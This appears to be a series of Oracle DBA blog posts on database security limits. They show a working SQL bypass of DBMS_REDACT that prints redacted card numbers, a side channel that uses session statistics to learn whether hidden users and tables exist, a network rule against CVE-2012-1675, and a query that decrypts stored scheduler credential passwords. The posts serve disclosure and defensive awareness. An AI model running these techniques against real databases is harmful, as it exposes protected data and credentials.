The Limits of Data Redaction

Data Security is becoming more and more important nowadays.
In fact it was always important, just as the expected problems increase (by count or value) management seems to be more aware now. Due to many discussions I started to have a look at DBMS_REDACT - which is an implementation to show only those data to users they are allowed to use.
One of my first places to go was Tim Halls Data Redaction (DBMS_REDACT) in Oracle Database 12c Release 1 (12.1). As always a very promising source.
At the end of this page Tim wrote

• Redaction does not apply to the WHERE clause, so inference of the value is still possible for those with SQL access.

This is a good feature to ensure a query runs the same way with or without redaction, and the rows returned are still correct, just "hidden". But at the same time it's a huge backdoor by design. I'm using Tims testcase to explain the problem:

create user ANN identified by "Som3c0mpl5xPWD#" default tablespace users;
alter user ANN quota unlimited on users;
grant connect to ANN;
grant create table to ANN;
GRANT EXECUTE ON sys.dbms_redact TO ANN;

Create user BEE identified by "Som3othac0mpl5xPWD#" default tablespace users;
grant connect to BEE;

Connect ANN/"Som3c0mpl5xPWD#"

CREATE TABLE payment_details (
  id          NUMBER       NOT NULL,
  customer_id NUMBER       NOT NULL,
  card_no     NUMBER       NOT NULL,
  card_string VARCHAR2(19) NOT NULL,
  expiry_date DATE         NOT NULL,
  sec_code    NUMBER       NOT NULL,
  valid_date  DATE,
  CONSTRAINT payment_details_pk PRIMARY KEY (id)
);

INSERT INTO payment_details VALUES (1, 4000, 1234123412341234, '1234-1234-1234-1234', TRUNC(ADD_MONTHS(SYSDATE,12)), 123, NULL);
INSERT INTO payment_details VALUES (2, 4001, 2345234523452345, '2345-2345-2345-2345', TRUNC(ADD_MONTHS(SYSDATE,12)), 234, NULL);
INSERT INTO payment_details VALUES (3, 4002, 3456345634563456, '3456-3456-3456-3456', TRUNC(ADD_MONTHS(SYSDATE,12)), 345, NULL);
INSERT INTO payment_details VALUES (4, 4003, 4567456745674567, '4567-4567-4567-4567', TRUNC(ADD_MONTHS(SYSDATE,12)), 456, NULL);
INSERT INTO payment_details VALUES (5, 4004, 5678567856785678, '5678-5678-5678-5678', TRUNC(ADD_MONTHS(SYSDATE,12)), 567, NULL);
COMMIT;


BEGIN
  DBMS_REDACT.add_policy(
    object_schema => 'ANN',
    object_name   => 'payment_details',
    column_name   => 'card_no',
    policy_name   => 'redact_card_info',
    function_type => DBMS_REDACT.partial,
 function_parameters => '1,1,12',
    expression    => q'[SYS_CONTEXT('USERENV','SESSION_USER') != 'ANN']'
  );
END;
/

Here we have now the table PAYMENT_DETAILS in schema ANN, and we try to hide part of the column CARD_NO from all users except ANN. As Tim Stated, the redaction only takes place in the Projection, not in Filter. So a common attack is to "test" the CARD_NO without showing it:
By a repeated

SELECT customer_id from ann.payment_details where card_no < &SOME_VALUE;

And a block which just counts from 1 to a maximal number for &SOME_VALUE, we will know the card_no for every customer_id.
But this attack is somewhat time and resource consuming, so it can create traces in other areas like performance monitoring and therefore make an observant DBA suspicious.
But it's much easier to get the CARD_NOs, starting with 12.1 only select permission on the given table is required, and the statement is simple:

Connect BEE/"Som3othac0mpl5xPWD#"

WITH
  FUNCTION show_number(p_id IN NUMBER) RETURN NUMBER IS
  BEGIN
    dbms_output.put_line(p_id);
    RETURN 1;
  END;
SELECT * 
from ANN.payment_details 
where show_number(card_no)=1
/

gives this result:

        ID CUSTOMER_ID           CARD_NO CARD_STRING         EXPIRY_DA   SEC_CODE VALID_DAT
---------- ----------- ----------------- ------------------- --------- ---------- ---------
         1        4000  1111111111111234 1234-1234-1234-1234 21-AUG-18        123
         2        4001  1111111111112345 2345-2345-2345-2345 21-AUG-18        234
         3        4002  1111111111113456 3456-3456-3456-3456 21-AUG-18        345
         4        4003  1111111111114567 4567-4567-4567-4567 21-AUG-18        456
         5        4004  1111111111115678 5678-5678-5678-5678 21-AUG-18        567

1234123412341234
2345234523452345
3456345634563456
4567456745674567
5678567856785678

The CARD_NO values are hidden in the query output itself, but DBMS_OUTPUT.PUT_LINE can print them, when called in the WHERE clause.

Still I see Data Redaction one valuable method to secure data, but it's limits should be known and proper additional methods should be implemented to secure data.

side channel attack on ORA-00942

Oracle Databases has a powerful set of grants and permissions. One of the easy philosophies behind it is just to hide anything a user is not allowed to see. Technically this leads to an error message
ORA-00942: table or view does not exist.
More precisely it should give a text like table or view does not exist or you are not allowed to access it.
For an ordinary user/schema separation there might be no big difference: If user A can not read table B.TAB it's of no value for user A whether the object does not exist or is just not accessible. But from a security point of view it might be of some interest if there exists a particular object within the database. Even it's not exploitable yet, maybe it's worth to try to reach it, or there is a combined vector of attack together with other objects.
To gain information about a system which should be kept hidden a well known method for physical cryptosystems is the side channel attack. At this attack extra information about the system is gained by measuring external channels like timings, power consumption and so on.
I am showing a similar method to get many informations about objects within a database a user should not know in general.

The described attack combines 2 well known concepts of every Oracle database: row cache and session statistics.

The row rache (or data dictionary cache) ... is a collection of database tables and views containing reference information about the database, its structures, and its users. - It's important to know this cache is filled by SQL-statements against the data dictionary tables.

session statistics just increase a counter for every session every time an action is executed.

Now let's check if we can get some hidden information out of my test system.
I did a alter system flush shared_pool; to make it slightly easier for the testcase, but even with a pre-filled row cache I am sure these informations can get collected with only little more effort.

My measurement query is

select ms.sid, ms.statistic#, sn.name, ms.value 
from v$mystat ms, V$STATNAME sn 
where sn.name in ('recursive calls', 'execute count') and ms.statistic# = sn.statistic# order by 2;

with a result like

       SID STATISTIC# NAME                      VALUE
---------- ---------- -------------------- ----------
       221          9 recursive calls            3108
       221        588 execute count               947

Now let's see where we can go. Something easy for the beginning. A select from a table which does not exist:

SQL> select * from gfdsaqwert;
select * from gfdsaqwert
              *
ERROR at line 1:
ORA-00942: table or view does not exist

with the measurement

       SID STATISTIC# NAME                      VALUE
---------- ---------- -------------------- ----------
       221          9 recursive calls            3111
       221        588 execute count               950

this means, there where 3 recursive calls and 3 execute counts.

Now for something more interesting - let's check if a user exists:

SQL> select * from zzz.uztrfghj;
select * from zzz.uztrfghj
                  *
ERROR at line 1:
ORA-00942: table or view does not exist

20 recursive calls
 3 execute count

SQL> select * from a.uztrfghj;
select * from a.uztrfghj
                *
ERROR at line 1:
ORA-00942: table or view does not exist

21 recursive calls
 3 execute count

In my test-DB no user ZZZ exists, but a user A exists. (but no table A.UZTRFGHJ) There is one more recursive call if the user exists. Not much, but a difference.

SQL> select * from a.m ;
select * from a.m
                *
ERROR at line 1:
ORA-00942: table or view does not exist

26 recursive calls
 7 execute count

Now there are even more recursive calls and execute count. The Table A.M exists in my system.

I'd say this shows the concept. The official answer from the database was ORA-00942: table or view does not exist all the time. But v$mystat gave us some more information we did not get officially.

how to secure CMAN against CVE-2012-1675 - or an easier method than ASO

In the Oracle DBA World at the moment CVE-2012-1675 is a great issue. Oracle announced some methods how to secure existing systems. But these are sometimes not that easy, and there is no backport for older systems.
As I investigated the problem how to secure a connection manager I was hinted at Note:1455068.1.
The solution is somewhat easy: Only allow incoming connections to your systems. e.g.
    (rule=(src=*)(dst=10.220.8.114)(srv=*)(act=accept))

In a well designed environment where you can separate your DB Servers from others at low network layers, a set of CMAN might be enough to secure your DBs against CVE-2012-1675.
At least it might be a simple and fast solution to secure your systens from untrusted areas, until you know how to secure the DB servers themselves. Especially for legacy systems it might be the only solution to secure it.

restore DBMS_SCHEDULER.CREATE_CREDENTIAL cleartext password

If you want to use Oracle file watcher, you need to Create a Credential. As there a password needs to be stored in the database, Oracle tries to save it in a secure way. But as the password must be decrypted for the purpose to login on the file watchers agent side, it is not safe at all:
The credentials are stored with DBMS_SCHEDULER.CREATE_CREDENTIAL. Here an example:

exec DBMS_SCHEDULER.CREATE_CREDENTIAL(
  credential_name => 'local_credential',
  username => 'oracle',  password => 'welcome1');
exec DBMS_SCHEDULER.CREATE_CREDENTIAL(
  credential_name => 'local_credential2',
  username => 'oracle2', password => 'welcome1');


It's quite easy to see the values again:

select o.object_name credential_name, username, password
 FROM SYS.SCHEDULER$_CREDENTIAL c, DBA_OBJECTS o
 WHERE c.obj# = o.object_id;

CREDENTIAL_NAME    USERNAME PASSWORD
------------------ -------- ------------------------------------
LOCAL_CREDENTIAL   oracle   BWVYxxK0fiEGAmtiKXULyfXXgjULdvHNLg==
LOCAL_CREDENTIAL2  oracle2  BWyCCRtd8F0zAVYl44IhvVcJ2i8wNUniDQ==


At least the password is somehow encrypted, and even the password was welcome1 for both credentials, the encrypted string is not identical.

Nothing to blame here, but I mentioned, the password can be decrypted. So let's do so:

SELECT u.name CREDENTIAL_OWNER, O.NAME CREDENTIAL_NAME, C.USERNAME,
  DBMS_ISCHED.GET_CREDENTIAL_PASSWORD(O.NAME, u.name) pwd
FROM SYS.SCHEDULER$_CREDENTIAL C, SYS.OBJ$ O, SYS.USER$ U
WHERE U.USER# = O.OWNER#
  AND C.OBJ#  = O.OBJ# ;

CREDENTIAL_OWNER CREDENTIAL_NAME      USERNAME PWD
---------------- -------------------- -------- --------
SYS              LOCAL_CREDENTIAL     oracle   welcome1
SYS              LOCAL_CREDENTIAL2    oracle2  welcome1


Can you see it? It's there. Try it at home!
I don't blame anyone here. It's hard to store anything really safe in case you need to decrypt it also.
But don't expect your password save, if you store it with DBMS_SCHEDULER.CREATE_CREDENTIAL.
Maybe it's slightly to easy to use DBMS_ISCHED.GET_CREDENTIAL_PASSWORD (ok, only SYS can do so) but even it might be slightly more difficult in the future, the basic problem will still exist.

Oracle Security Options

Last week I attended a 1 day Seminar about Oracle Security by Dominique Jeunot.
Dominique did a great job to squeeze everything she knows into one day, and it was allways obvious there is a lot more she could tell us in the script and even more in her brain. Nevertheless she created a very good overview with the right level on all topics. It was obvious she could only make a kind of teaser, but it was a very tasty one!
Maybe the most important picture she draw was the first overview about all available features, options and products. I did the effort to draw it for my own joy and will share it here, as it might be helpful for others as well. All options are colored red, so you can see where you have to take extra money.

In general you can say: for nearly every issue there are possibilities to do it without extra money (but extra effort) or you can buy a solution.

If someone wants the visio behind this jpeg, just contact me :)